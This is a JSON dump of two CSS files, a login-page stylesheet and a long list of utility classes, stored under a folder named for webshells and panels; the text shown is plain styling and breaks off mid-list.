[
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/css/main.css",
    "content": "\r\n\r\n\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ FONT ]*/\r\n\r\n@font-face {\r\n  font-family: Poppins-Regular;\r\n  src: url('../fonts/poppins/Poppins-Regular.ttf'); \r\n}\r\n\r\n@font-face {\r\n  font-family: Poppins-Bold;\r\n  src: url('../fonts/poppins/Poppins-Bold.ttf'); \r\n}\r\n\r\n@font-face {\r\n  font-family: Poppins-Medium;\r\n  src: url('../fonts/poppins/Poppins-Medium.ttf'); \r\n}\r\n\r\n@font-face {\r\n  font-family: Montserrat-Bold;\r\n  src: url('../fonts/montserrat/Montserrat-Bold.ttf'); \r\n}\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ RESTYLE TAG ]*/\r\n\r\n* {\r\n\tmargin: 0px; \r\n\tpadding: 0px; \r\n\tbox-sizing: border-box;\r\n}\r\n\r\nbody, html {\r\n\theight: 100%;\r\n\tfont-family: Poppins-Regular, sans-serif;\r\n}\r\n\r\n/*---------------------------------------------*/\r\na {\r\n\tfont-family: Poppins-Regular;\r\n\tfont-size: 14px;\r\n\tline-height: 1.7;\r\n\tcolor: #666666;\r\n\tmargin: 0px;\r\n\ttransition: all 0.4s;\r\n\t-webkit-transition: all 0.4s;\r\n  -o-transition: all 0.4s;\r\n  -moz-transition: all 0.4s;\r\n}\r\n\r\na:focus {\r\n\toutline: none !important;\r\n}\r\n\r\na:hover {\r\n\ttext-decoration: none;\r\n  color: #57b846;\r\n}\r\n\r\n/*---------------------------------------------*/\r\nh1,h2,h3,h4,h5,h6 {\r\n\tmargin: 0px;\r\n}\r\n\r\np {\r\n\tfont-family: Poppins-Regular;\r\n\tfont-size: 14px;\r\n\tline-height: 1.7;\r\n\tcolor: #666666;\r\n\tmargin: 0px;\r\n}\r\n\r\nul, li {\r\n\tmargin: 0px;\r\n\tlist-style-type: none;\r\n}\r\n\r\n\r\n/*---------------------------------------------*/\r\ninput {\r\n\toutline: none;\r\n\tborder: none;\r\n}\r\n\r\ntextarea {\r\n  outline: none;\r\n  border: none;\r\n}\r\n\r\ntextarea:focus, input:focus {\r\n  border-color: transparent !important;\r\n}\r\n\r\ninput:focus::-webkit-input-placeholder { color:transparent; }\r\ninput:focus:-moz-placeholder { color:transparent; }\r\ninput:focus::-moz-placeholder { color:transparent; }\r\ninput:focus:-ms-input-placeholder { color:transparent; }\r\n\r\ntextarea:focus::-webkit-input-placeholder { color:transparent; }\r\ntextarea:focus:-moz-placeholder { color:transparent; }\r\ntextarea:focus::-moz-placeholder { color:transparent; }\r\ntextarea:focus:-ms-input-placeholder { color:transparent; }\r\n\r\ninput::-webkit-input-placeholder { color: #999999; }\r\ninput:-moz-placeholder { color: #999999; }\r\ninput::-moz-placeholder { color: #999999; }\r\ninput:-ms-input-placeholder { color: #999999; }\r\n\r\ntextarea::-webkit-input-placeholder { color: #999999; }\r\ntextarea:-moz-placeholder { color: #999999; }\r\ntextarea::-moz-placeholder { color: #999999; }\r\ntextarea:-ms-input-placeholder { color: #999999; }\r\n\r\n/*---------------------------------------------*/\r\nbutton {\r\n\toutline: none !important;\r\n\tborder: none;\r\n\tbackground: transparent;\r\n}\r\n\r\nbutton:hover {\r\n\tcursor: pointer;\r\n}\r\n\r\niframe {\r\n\tborder: none !important;\r\n}\r\n\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ Utility ]*/\r\n.txt1 {\r\n  font-family: Poppins-Regular;\r\n  font-size: 13px;\r\n  line-height: 1.5;\r\n  color: #999999;\r\n}\r\n\r\n.txt2 {\r\n  font-family: Poppins-Regular;\r\n  font-size: 13px;\r\n  line-height: 1.5;\r\n  color: #666666;\r\n}\r\n\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ login ]*/\r\n\r\n.limiter {\r\n  width: 100%;\r\n  margin: 0 auto;\r\n}\r\n\r\n.container-login100 {\r\n  width: 100%;  \r\n  min-height: 100vh;\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  flex-wrap: wrap;\r\n  justify-content: center;\r\n  align-items: center;\r\n  padding: 15px;\r\n  background: #9053c7;\r\n  background: -webkit-linear-gradient(-135deg, #c850c0, #4158d0);\r\n  background: -o-linear-gradient(-135deg, #c850c0, #4158d0);\r\n  background: -moz-linear-gradient(-135deg, #c850c0, #4158d0);\r\n  background: linear-gradient(-135deg, #c850c0, #4158d0);\r\n}\r\n\r\n.wrap-login100 {\r\n  width: 960px;\r\n  background: #fff;\r\n  border-radius: 10px;\r\n  overflow: hidden;\r\n\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  flex-wrap: wrap;\r\n  justify-content: space-between;\r\n  padding: 177px 130px 33px 95px;\r\n}\r\n\r\n/*------------------------------------------------------------------\r\n[  ]*/\r\n.login100-pic {\r\n  width: 316px;\r\n}\r\n\r\n.login100-pic img {\r\n  max-width: 100%;\r\n}\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[  ]*/\r\n.login100-form {\r\n  width: 290px;\r\n}\r\n\r\n.login100-form-title {\r\n  font-family: Poppins-Bold;\r\n  font-size: 24px;\r\n  color: #333333;\r\n  line-height: 1.2;\r\n  text-align: center;\r\n\r\n  width: 100%;\r\n  display: block;\r\n  padding-bottom: 54px;\r\n}\r\n\r\n\r\n/*---------------------------------------------*/\r\n.wrap-input100 {\r\n  position: relative;\r\n  width: 100%;\r\n  z-index: 1;\r\n  margin-bottom: 10px;\r\n}\r\n\r\n.input100 {\r\n  font-family: Poppins-Medium;\r\n  font-size: 15px;\r\n  line-height: 1.5;\r\n  color: #666666;\r\n\r\n  display: block;\r\n  width: 100%;\r\n  background: #e6e6e6;\r\n  height: 50px;\r\n  border-radius: 25px;\r\n  padding: 0 30px 0 68px;\r\n}\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[ Focus ]*/\r\n.focus-input100 {\r\n  display: block;\r\n  position: absolute;\r\n  border-radius: 25px;\r\n  bottom: 0;\r\n  left: 0;\r\n  z-index: -1;\r\n  width: 100%;\r\n  height: 100%;\r\n  box-shadow: 0px 0px 0px 0px;\r\n  color: rgba(87,184,70, 0.8);\r\n}\r\n\r\n.input100:focus + .focus-input100 {\r\n  -webkit-animation: anim-shadow 0.5s ease-in-out forwards;\r\n  animation: anim-shadow 0.5s ease-in-out forwards;\r\n}\r\n\r\n@-webkit-keyframes anim-shadow {\r\n  to {\r\n    box-shadow: 0px 0px 70px 25px;\r\n    opacity: 0;\r\n  }\r\n}\r\n\r\n@keyframes anim-shadow {\r\n  to {\r\n    box-shadow: 0px 0px 70px 25px;\r\n    opacity: 0;\r\n  }\r\n}\r\n\r\n.symbol-input100 {\r\n  font-size: 15px;\r\n\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  align-items: center;\r\n  position: absolute;\r\n  border-radius: 25px;\r\n  bottom: 0;\r\n  left: 0;\r\n  width: 100%;\r\n  height: 100%;\r\n  padding-left: 35px;\r\n  pointer-events: none;\r\n  color: #666666;\r\n\r\n  -webkit-transition: all 0.4s;\r\n  -o-transition: all 0.4s;\r\n  -moz-transition: all 0.4s;\r\n  transition: all 0.4s;\r\n}\r\n\r\n.input100:focus + .focus-input100 + .symbol-input100 {\r\n  color: #57b846;\r\n  padding-left: 28px;\r\n}\r\n\r\n/*------------------------------------------------------------------\r\n[ Button ]*/\r\n.container-login100-form-btn {\r\n  width: 100%;\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  flex-wrap: wrap;\r\n  justify-content: center;\r\n  padding-top: 20px;\r\n}\r\n\r\n.login100-form-btn {\r\n  font-family: Montserrat-Bold;\r\n  font-size: 15px;\r\n  line-height: 1.5;\r\n  color: #fff;\r\n  text-transform: uppercase;\r\n\r\n  width: 100%;\r\n  height: 50px;\r\n  border-radius: 25px;\r\n  background: #57b846;\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  justify-content: center;\r\n  align-items: center;\r\n  padding: 0 25px;\r\n\r\n  -webkit-transition: all 0.4s;\r\n  -o-transition: all 0.4s;\r\n  -moz-transition: all 0.4s;\r\n  transition: all 0.4s;\r\n}\r\n\r\n.login100-form-btn:hover {\r\n  background: #333333;\r\n}\r\n\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[ Responsive ]*/\r\n\r\n\r\n\r\n@media (max-width: 992px) {\r\n  .wrap-login100 {\r\n    padding: 177px 90px 33px 85px;\r\n  }\r\n\r\n  .login100-pic {\r\n    width: 35%;\r\n  }\r\n\r\n  .login100-form {\r\n    width: 50%;\r\n  }\r\n}\r\n\r\n@media (max-width: 768px) {\r\n  .wrap-login100 {\r\n    padding: 100px 80px 33px 80px;\r\n  }\r\n\r\n  .login100-pic {\r\n    display: none;\r\n  }\r\n\r\n  .login100-form {\r\n    width: 100%;\r\n  }\r\n}\r\n\r\n@media (max-width: 576px) {\r\n  .wrap-login100 {\r\n    padding: 100px 15px 33px 15px;\r\n  }\r\n}\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[ Alert validate ]*/\r\n\r\n.validate-input {\r\n  position: relative;\r\n}\r\n\r\n.alert-validate::before {\r\n  content: attr(data-validate);\r\n  position: absolute;\r\n  max-width: 70%;\r\n  background-color: white;\r\n  border: 1px solid #c80000;\r\n  border-radius: 13px;\r\n  padding: 4px 25px 4px 10px;\r\n  top: 50%;\r\n  -webkit-transform: translateY(-50%);\r\n  -moz-transform: translateY(-50%);\r\n  -ms-transform: translateY(-50%);\r\n  -o-transform: translateY(-50%);\r\n  transform: translateY(-50%);\r\n  right: 8px;\r\n  pointer-events: none;\r\n\r\n  font-family: Poppins-Medium;\r\n  color: #c80000;\r\n  font-size: 13px;\r\n  line-height: 1.4;\r\n  text-align: left;\r\n\r\n  visibility: hidden;\r\n  opacity: 0;\r\n\r\n  -webkit-transition: opacity 0.4s;\r\n  -o-transition: opacity 0.4s;\r\n  -moz-transition: opacity 0.4s;\r\n  transition: opacity 0.4s;\r\n}\r\n\r\n.alert-validate::after {\r\n  content: \"\\f06a\";\r\n  font-family: FontAwesome;\r\n  display: block;\r\n  position: absolute;\r\n  color: #c80000;\r\n  font-size: 15px;\r\n  top: 50%;\r\n  -webkit-transform: translateY(-50%);\r\n  -moz-transform: translateY(-50%);\r\n  -ms-transform: translateY(-50%);\r\n  -o-transform: translateY(-50%);\r\n  transform: translateY(-50%);\r\n  right: 13px;\r\n}\r\n\r\n.alert-validate:hover:before {\r\n  visibility: visible;\r\n  opacity: 1;\r\n}\r\n\r\n@media (max-width: 992px) {\r\n  .alert-validate::before {\r\n    visibility: visible;\r\n    opacity: 1;\r\n  }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/css/util.css",
    "content": "/*[ FONT SIZE ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n.fs-1 {font-size: 1px;}\r\n.fs-2 {font-size: 2px;}\r\n.fs-3 {font-size: 3px;}\r\n.fs-4 {font-size: 4px;}\r\n.fs-5 {font-size: 5px;}\r\n.fs-6 {font-size: 6px;}\r\n.fs-7 {font-size: 7px;}\r\n.fs-8 {font-size: 8px;}\r\n.fs-9 {font-size: 9px;}\r\n.fs-10 {font-size: 10px;}\r\n.fs-11 {font-size: 11px;}\r\n.fs-12 {font-size: 12px;}\r\n.fs-13 {font-size: 13px;}\r\n.fs-14 {font-size: 14px;}\r\n.fs-15 {font-size: 15px;}\r\n.fs-16 {font-size: 16px;}\r\n.fs-17 {font-size: 17px;}\r\n.fs-18 {font-size: 18px;}\r\n.fs-19 {font-size: 19px;}\r\n.fs-20 {font-size: 20px;}\r\n.fs-21 {font-size: 21px;}\r\n.fs-22 {font-size: 22px;}\r\n.fs-23 {font-size: 23px;}\r\n.fs-24 {font-size: 24px;}\r\n.fs-25 {font-size: 25px;}\r\n.fs-26 {font-size: 26px;}\r\n.fs-27 {font-size: 27px;}\r\n.fs-28 {font-size: 28px;}\r\n.fs-29 {font-size: 29px;}\r\n.fs-30 {font-size: 30px;}\r\n.fs-31 {font-size: 31px;}\r\n.fs-32 {font-size: 32px;}\r\n.fs-33 {font-size: 33px;}\r\n.fs-34 {font-size: 34px;}\r\n.fs-35 {font-size: 35px;}\r\n.fs-36 {font-size: 36px;}\r\n.fs-37 {font-size: 37px;}\r\n.fs-38 {font-size: 38px;}\r\n.fs-39 {font-size: 39px;}\r\n.fs-40 {font-size: 40px;}\r\n.fs-41 {font-size: 41px;}\r\n.fs-42 {font-size: 42px;}\r\n.fs-43 {font-size: 43px;}\r\n.fs-44 {font-size: 44px;}\r\n.fs-45 {font-size: 45px;}\r\n.fs-46 {font-size: 46px;}\r\n.fs-47 {font-size: 47px;}\r\n.fs-48 {font-size: 48px;}\r\n.fs-49 {font-size: 49px;}\r\n.fs-50 {font-size: 50px;}\r\n.fs-51 {font-size: 51px;}\r\n.fs-52 {font-size: 52px;}\r\n.fs-53 {font-size: 53px;}\r\n.fs-54 {font-size: 54px;}\r\n.fs-55 {font-size: 55px;}\r\n.fs-56 {font-size: 56px;}\r\n.fs-57 {font-size: 57px;}\r\n.fs-58 {font-size: 58px;}\r\n.fs-59 {font-size: 59px;}\r\n.fs-60 {font-size: 60px;}\r\n.fs-61 {font-size: 61px;}\r\n.fs-62 {font-size: 62px;}\r\n.fs-63 {font-size: 63px;}\r\n.fs-64 {font-size: 64px;}\r\n.fs-65 {font-size: 65px;}\r\n.fs-66 {font-size: 66px;}\r\n.fs-67 {font-size: 67px;}\r\n.fs-68 {font-size: 68px;}\r\n.fs-69 {font-size: 69px;}\r\n.fs-70 {font-size: 70px;}\r\n.fs-71 {font-size: 71px;}\r\n.fs-72 {font-size: 72px;}\r\n.fs-73 {font-size: 73px;}\r\n.fs-74 {font-size: 74px;}\r\n.fs-75 {font-size: 75px;}\r\n.fs-76 {font-size: 76px;}\r\n.fs-77 {font-size: 77px;}\r\n.fs-78 {font-size: 78px;}\r\n.fs-79 {font-size: 79px;}\r\n.fs-80 {font-size: 80px;}\r\n.fs-81 {font-size: 81px;}\r\n.fs-82 {font-size: 82px;}\r\n.fs-83 {font-size: 83px;}\r\n.fs-84 {font-size: 84px;}\r\n.fs-85 {font-size: 85px;}\r\n.fs-86 {font-size: 86px;}\r\n.fs-87 {font-size: 87px;}\r\n.fs-88 {font-size: 88px;}\r\n.fs-89 {font-size: 89px;}\r\n.fs-90 {font-size: 90px;}\r\n.fs-91 {font-size: 91px;}\r\n.fs-92 {font-size: 92px;}\r\n.fs-93 {font-size: 93px;}\r\n.fs-94 {font-size: 94px;}\r\n.fs-95 {font-size: 95px;}\r\n.fs-96 {font-size: 96px;}\r\n.fs-97 {font-size: 97px;}\r\n.fs-98 {font-size: 98px;}\r\n.fs-99 {font-size: 99px;}\r\n.fs-100 {font-size: 100px;}\r\n.fs-101 {font-size: 101px;}\r\n.fs-102 {font-size: 102px;}\r\n.fs-103 {font-size: 103px;}\r\n.fs-104 {font-size: 104px;}\r\n.fs-105 {font-size: 105px;}\r\n.fs-106 {font-size: 106px;}\r\n.fs-107 {font-size: 107px;}\r\n.fs-108 {font-size: 108px;}\r\n.fs-109 {font-size: 109px;}\r\n.fs-110 {font-size: 110px;}\r\n.fs-111 {font-size: 111px;}\r\n.fs-112 {font-size: 112px;}\r\n.fs-113 {font-size: 113px;}\r\n.fs-114 {font-size: 114px;}\r\n.fs-115 {font-size: 115px;}\r\n.fs-116 {font-size: 116px;}\r\n.fs-117 {font-size: 117px;}\r\n.fs-118 {font-size: 118px;}\r\n.fs-119 {font-size: 119px;}\r\n.fs-120 {font-size: 120px;}\r\n.fs-121 {font-size: 121px;}\r\n.fs-122 {font-size: 122px;}\r\n.fs-123 {font-size: 123px;}\r\n.fs-124 {font-size: 124px;}\r\n.fs-125 {font-size: 125px;}\r\n.fs-126 {font-size: 126px;}\r\n.fs-127 {font-size: 127px;}\r\n.fs-128 {font-size: 128px;}\r\n.fs-129 {font-size: 129px;}\r\n.fs-130 {font-size: 130px;}\r\n.fs-131 {font-size: 131px;}\r\n.fs-132 {font-size: 132px;}\r\n.fs-133 {font-size: 133px;}\r\n.fs-134 {font-size: 134px;}\r\n.fs-135 {font-size: 135px;}\r\n.fs-136 {font-size: 136px;}\r\n.fs-137 {font-size: 137px;}\r\n.fs-138 {font-size: 138px;}\r\n.fs-139 {font-size: 139px;}\r\n.fs-140 {font-size: 140px;}\r\n.fs-141 {font-size: 141px;}\r\n.fs-142 {font-size: 142px;}\r\n.fs-143 {font-size: 143px;}\r\n.fs-144 {font-size: 144px;}\r\n.fs-145 {font-size: 145px;}\r\n.fs-146 {font-size: 146px;}\r\n.fs-147 {font-size: 147px;}\r\n.fs-148 {font-size: 148px;}\r\n.fs-149 {font-size: 149px;}\r\n.fs-150 {font-size: 150px;}\r\n.fs-151 {font-size: 151px;}\r\n.fs-152 {font-size: 152px;}\r\n.fs-153 {font-size: 153px;}\r\n.fs-154 {font-size: 154px;}\r\n.fs-155 {font-size: 155px;}\r\n.fs-156 {font-size: 156px;}\r\n.fs-157 {font-size: 157px;}\r\n.fs-158 {font-size: 158px;}\r\n.fs-159 {font-size: 159px;}\r\n.fs-160 {font-size: 160px;}\r\n.fs-161 {font-size: 161px;}\r\n.fs-162 {font-size: 162px;}\r\n.fs-163 {font-size: 163px;}\r\n.fs-164 {font-size: 164px;}\r\n.fs-165 {font-size: 165px;}\r\n.fs-166 {font-size: 166px;}\r\n.fs-167 {font-size: 167px;}\r\n.fs-168 {font-size: 168px;}\r\n.fs-169 {font-size: 169px;}\r\n.fs-170 {font-size: 170px;}\r\n.fs-171 {font-size: 171px;}\r\n.fs-172 {font-size: 172px;}\r\n.fs-173 {font-size: 173px;}\r\n.fs-174 {font-size: 174px;}\r\n.fs-175 {font-size: 175px;}\r\n.fs-176 {font-size: 176px;}\r\n.fs-177 {font-size: 177px;}\r\n.fs-178 {font-size: 178px;}\r\n.fs-179 {font-size: 179px;}\r\n.fs-180 {font-size: 180px;}\r\n.fs-181 {font-size: 181px;}\r\n.fs-182 {font-size: 182px;}\r\n.fs-183 {font-size: 183px;}\r\n.fs-184 {font-size: 184px;}\r\n.fs-185 {font-size: 185px;}\r\n.fs-186 {font-size: 186px;}\r\n.fs-187 {font-size: 187px;}\r\n.fs-188 {font-size: 188px;}\r\n.fs-189 {font-size: 189px;}\r\n.fs-190 {font-size: 190px;}\r\n.fs-191 {font-size: 191px;}\r\n.fs-192 {font-size: 192px;}\r\n.fs-193 {font-size: 193px;}\r\n.fs-194 {font-size: 194px;}\r\n.fs-195 {font-size: 195px;}\r\n.fs-196 {font-size: 196px;}\r\n.fs-197 {font-size: 197px;}\r\n.fs-198 {font-size: 198px;}\r\n.fs-199 {font-size: 199px;}\r\n.fs-200 {font-size: 200px;}\r\n\r\n/*[ PADDING ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n.p-t-0 {padding-top: 0px;}\r\n.p-t-1 {padding-top: 1px;}\r\n.p-t-2 {padding-top: 2px;}\r\n.p-t-3 {padding-top: 3px;}\r\n.p-t-4 {padding-top: 4px;}\r\n.p-t-5 {padding-top: 5px;}\r\n.p-t-6 {padding-top: 6px;}\r\n.p-t-7 {padding-top: 7px;}\r\n.p-t-8 {padding-top: 8px;}\r\n.p-t-9 {padding-top: 9px;}\r\n.p-t-10 {padding-top: 10px;}\r\n.p-t-11 {padding-top: 11px;}\r\n.p-t-12 {padding-top: 12px;}\r\n.p-t-13 {padding-top: 13px;}\r\n.p-t-14 {padding-top: 14px;}\r\n.p-t-15 {padding-top: 15px;}\r\n.p-t-16 {padding-top: 16px;}\r\n.p-t-17 {padding-top: 17px;}\r\n.p-t-18 {padding-top: 18px;}\r\n.p-t-19 {padding-top: 19px;}\r\n.p-t-20 {padding-top: 20px;}\r\n.p-t-21 {padding-top: 21px;}\r\n.p-t-22 {padding-top: 22px;}\r\n.p-t-23 {padding-top: 23px;}\r\n.p-t-24 {padding-top: 24px;}\r\n.p-t-25 {padding-top: 25px;}\r\n.p-t-26 {padding-top: 26px;}\r\n.p-t-27 {padding-top: 27px;}\r\n.p-t-28 {padding-top: 28px;}\r\n.p-t-29 {padding-top: 29px;}\r\n.p-t-30 {padding-top: 30px;}\r\n.p-t-31 {padding-top: 31px;}\r\n.p-t-32 {padding-top: 32px;}\r\n.p-t-33 {padding-top: 33px;}\r\n.p-t-34 {padding-top: 34px;}\r\n.p-t-35 {padding-top: 35px;}\r\n.p-t-36 {padding-top: 36px;}\r\n.p-t-37 {padding-top: 37px;}\r\n.p-t-38 {padding-top: 38px;}\r\n.p-t-39 {padding-top: 39px;}\r\n.p-t-40 {padding-top: 40px;}\r\n.p-t-41 {padding-top: 41px;}\r\n.p-t-42 {padding-top: 42px;}\r\n.p-t-43 {padding-top: 43px;}\r\n.p-t-44 {padding-top: 44px;}\r\n.p-t-45 {padding-top: 45px;}\r\n.p-t-46 {padding-top: 46px;}\r\n.p-t-47 {padding-top: 47px;}\r\n.p-t-48 {padding-top: 48px;}\r\n.p-t-49 {padding-top: 49px;}\r\n.p-t-50 {padding-top: 50px;}\r\n.p-t-51 {padding-top: 51px;}\r\n.p-t-52 {padding-top: 52px;}\r\n.p-t-53 {padding-top: 53px;}\r\n.p-t-54 {padding-top: 54px;}\r\n.p-t-55 {padding-top: 55px;}\r\n.p-t-56 {padding-top: 56px;}\r\n.p-t-57 {padding-top: 57px;}\r\n.p-t-58 {padding-top: 58px;}\r\n.p-t-59 {padding-top: 59px;}\r\n.p-t-60 {padding-top: 60px;}\r\n.p-t-61 {padding-top: 61px;}\r\n.p-t-62 {padding-top: 62px;}\r\n.p-t-63 {padding-top: 63px;}\r\n.p-t-64 {padding-top: 64px;}\r\n.p-t-65 {padding-top: 65px;}\r\n.p-t-66 {padding-top: 66px;}\r\n.p-t-67 {padding-top: 67px;}\r\n.p-t-68 {padding-top: 68px;}\r\n.p-t-69 {padding-top: 69px;}\r\n.p-t-70 {padding-top: 70px;}\r\n.p-t-71 {padding-top: 71px;}\r\n.p-t-72 {padding-top: 72px;}\r\n.p-t-73 {padding-top: 73px;}\r\n.p-t-74 {padding-top: 74px;}\r\n.p-t-75 {padding-top: 75px;}\r\n.p-t-76 {padding-top: 76px;}\r\n.p-t-77 {padding-top: 77px;}\r\n.p-t-78 {padding-top: 78px;}\r\n.p-t-79 {padding-top: 79px;}\r\n.p-t-80 {padding-top: 80px;}\r\n.p-t-81 {padding-top: 81px;}\r\n.p-t-82 {padding-top: 82px;}\r\n.p-t-83 {padding-top: 83px;}\r\n.p-t-84 {padding-top: 84px;}\r\n.p-t-85 {padding-top: 85px;}\r\n.p-t-86 {padding-top: 86px;}\r\n.p-t-87 {padding-top: 87px;}\r\n.p-t-88 {padding-top: 88px;}\r\n.p-t-89 {padding-top: 89px;}\r\n.p-t-90 {padding-top: 90px;}\r\n.p-t-91 {padding-top: 91px;}\r\n.p-t-92 {padding-top: 92px;}\r\n.p-t-93 {padding-top: 93px;}\r\n.p-t-94 {padding-top: 94px;}\r\n.p-t-95 {padding-top: 95px;}\r\n.p-t-96 {padding-top: 96px;}\r\n.p-t-97 {padding-top: 97px;}\r\n.p-t-98 {padding-top: 98px;}\r\n.p-t-99 {padding-top: 99px;}\r\n.p-t-100 {padding-top: 100px;}\r\n.p-t-101 {padding-top: 101px;}\r\n.p-t-102 {padding-top: 102px;}\r\n.p-t-103 {padding-top: 103px;}\r\n.p-t-104 {padding-top: 104px;}\r\n.p-t-105 {padding-top: 105px;}\r\n.p-t-106 {padding-top: 106px;}\r\n.p-t-107 {padding-top: 107px;}\r\n.p-t-108 {padding-top: 108px;}\r\n.p-t-109 {padding-top: 109px;}\r\n.p-t-110 {padding-top: 110px;}\r\n.p-t-111 {padding-top: 111px;}\r\n.p-t-112 {padding-top: 112px;}\r\n.p-t-113 {padding-top: 113px;}\r\n.p-t-114 {padding-top: 114px;}\r\n.p-t-115 {padding-top: 115px;}\r\n.p-t-116 {padding-top: 116px;}\r\n.p-t-117 {padding-top: 117px;}\r\n.p-t-118 {padding-top: 118px;}\r\n.p-t-119 {padding-top: 119px;}\r\n.p-t-120 {padding-top: 120px;}\r\n.p-t-121 {padding-top: 121px;}\r\n.p-t-122 {padding-top: 122px;}\r\n.p-t-123 {padding-top: 123px;}\r\n.p-t-124 {padding-top: 124px;}\r\n.p-t-125 {padding-top: 125px;}\r\n.p-t-126 {padding-top: 126px;}\r\n.p-t-127 {padding-top: 127px;}\r\n.p-t-128 {padding-top: 128px;}\r\n.p-t-129 {padding-top: 129px;}\r\n.p-t-130 {padding-top: 130px;}\r\n.p-t-131 {padding-top: 131px;}\r\n.p-t-132 {padding-top: 132px;}\r\n.p-t-133 {padding-top: 133px;}\r\n.p-t-134 {padding-top: 134px;}\r\n.p-t-135 {padding-top: 135px;}\r\n.p-t-136 {padding-top: 136px;}\r\n.p-t-137 {padding-top: 137px;}\r\n.p-t-138 {padding-top: 138px;}\r\n.p-t-139 {padding-top: 139px;}\r\n.p-t-140 {padding-top: 140px;}\r\n.p-t-141 {padding-top: 141px;}\r\n.p-t-142 {padding-top: 142px;}\r\n.p-t-143 {padding-top: 143px;}\r\n.p-t-144 {padding-top: 144px;}\r\n.p-t-145 {padding-top: 145px;}\r\n.p-t-146 {padding-top: 146px;}\r\n.p-t-147 {padding-top: 147px;}\r\n.p-t-148 {padding-top: 148px;}\r\n.p-t-149 {padding-top: 149px;}\r\n.p-t-150 {padding-top: 150px;}\r\n.p-t-151 {padding-top: 151px;}\r\n.p-t-152 {padding-top: 152px;}\r\n.p-t-153 {padding-top: 153px;}\r\n.p-t-154 {padding-top: 154px;}\r\n.p-t-155 {padding-top: 155px;}\r\n.p-t-156 {padding-top: 156px;}\r\n.p-t-157 {padding-top: 157px;}\r\n.p-t-158 {padding-top: 158px;}\r\n.p-t-159 {padding-top: 159px;}\r\n.p-t-160 {padding-top: 160px;}\r\n.p-t-161 {padding-top: 161px;}\r\n.p-t-162 {padding-top: 162px;}\r\n.p-t-163 {padding-top: 163px;}\r\n.p-t-164 {padding-top: 164px;}\r\n.p-t-165 {padding-top: 165px;}\r\n.p-t-166 {padding-top: 166px;}\r\n.p-t-167 {padding-top: 167px;}\r\n.p-t-168 {padding-top: 168px;}\r\n.p-t-169 {padding-top: 169px;}\r\n.p-t-170 {padding-top: 170px;}\r\n.p-t-171 {padding-top: 171px;}\r\n.p-t-172 {padding-top: 172px;}\r\n.p-t-173 {padding-top: 173px;}\r\n.p-t-174 {padding-top: 174px;}\r\n.p-t-175 {padding-top: 175px;}\r\n.p-t-176 {padding-top: 176px;}\r\n.p-t-177 {padding-top: 177px;}\r\n.p-t-178 {padding-top: 178px;}\r\n.p-t-179 {padding-top: 179px;}\r\n.p-t-180 {padding-top: 180px;}\r\n.p-t-181 {padding-top: 181px;}\r\n.p-t-182 {padding-top: 182px;}\r\n.p-t-183 {padding-top: 183px;}\r\n.p-t-184 {padding-top: 184px;}\r\n.p-t-185 {padding-top: 185px;}\r\n.p-t-186 {padding-top: 186px;}\r\n.p-t-187 {padding-top: 187px;}\r\n.p-t-188 {padding-top: 188px;}\r\n.p-t-189 {padding-top: 189px;}\r\n.p-t-190 {padding-top: 190px;}\r\n.p-t-191 {padding-top: 191px;}\r\n.p-t-192 {padding-top: 192px;}\r\n.p-t-193 {padding-top: 193px;}\r\n.p-t-194 {padding-top: 194px;}\r\n.p-t-195 {padding-top: 195px;}\r\n.p-t-196 {padding-top: 196px;}\r\n.p-t-197 {padding-top: 197px;}\r\n.p-t-198 {padding-top: 198px;}\r\n.p-t-199 {padding-top: 199px;}\r\n.p-t-200 {padding-top: 200px;}\r\n.p-t-201 {padding-top: 201px;}\r\n.p-t-202 {padding-top: 202px;}\r\n.p-t-203 {padding-top: 203px;}\r\n.p-t-204 {padding-top: 204px;}\r\n.p-t-205 {padding-top: 205px;}\r\n.p-t-206 {padding-top: 206px;}\r\n.p-t-207 {padding-top: 207px;}\r\n.p-t-208 {padding-top: 208px;}\r\n.p-t-209 {padding-top: 209px;}\r\n.p-t-210 {padding-top: 210px;}\r\n.p-t-211 {padding-top: 211px;}\r\n.p-t-212 {padding-top: 212px;}\r\n.p-t-213 {padding-top: 213px;}\r\n.p-t-214 {padding-top: 214px;}\r\n.p-t-215 {padding-top: 215px;}\r\n.p-t-216 {padding-top: 216px;}\r\n.p-t-217 {padding-top: 217px;}\r\n.p-t-218 {padding-top: 218px;}\r\n.p-t-219 {padding-top: 219px;}\r\n.p-t-220 {padding-top: 220px;}\r\n.p-t-221 {padding-top: 221px;}\r\n.p-t-222 {padding-top: 222px;}\r\n.p-t-223 {padding-top: 223px;}\r\n.p-t-224 {padding-top: 224px;}\r\n.p-t-225 {padding-top: 225px;}\r\n.p-t-226 {padding-top: 226px;}\r\n.p-t-227 {padding-top: 227px;}\r\n.p-t-228 {padding-top: 228px;}\r\n.p-t-229 {padding-top: 229px;}\r\n.p-t-230 {padding-top: 230px;}\r\n.p-t-231 {padding-top: 231px;}\r\n.p-t-232 {padding-top: 232px;}\r\n.p-t-233 {padding-top: 233px;}\r\n.p-t-234 {padding-top: 234px;}\r\n.p-t-235 {padding-top: 235px;}\r\n.p-t-236 {padding-top: 236px;}\r\n.p-t-237 {padding-top: 237px;}\r\n.p-t-238 {padding-top: 238px;}\r\n.p-t-239 {padding-top: 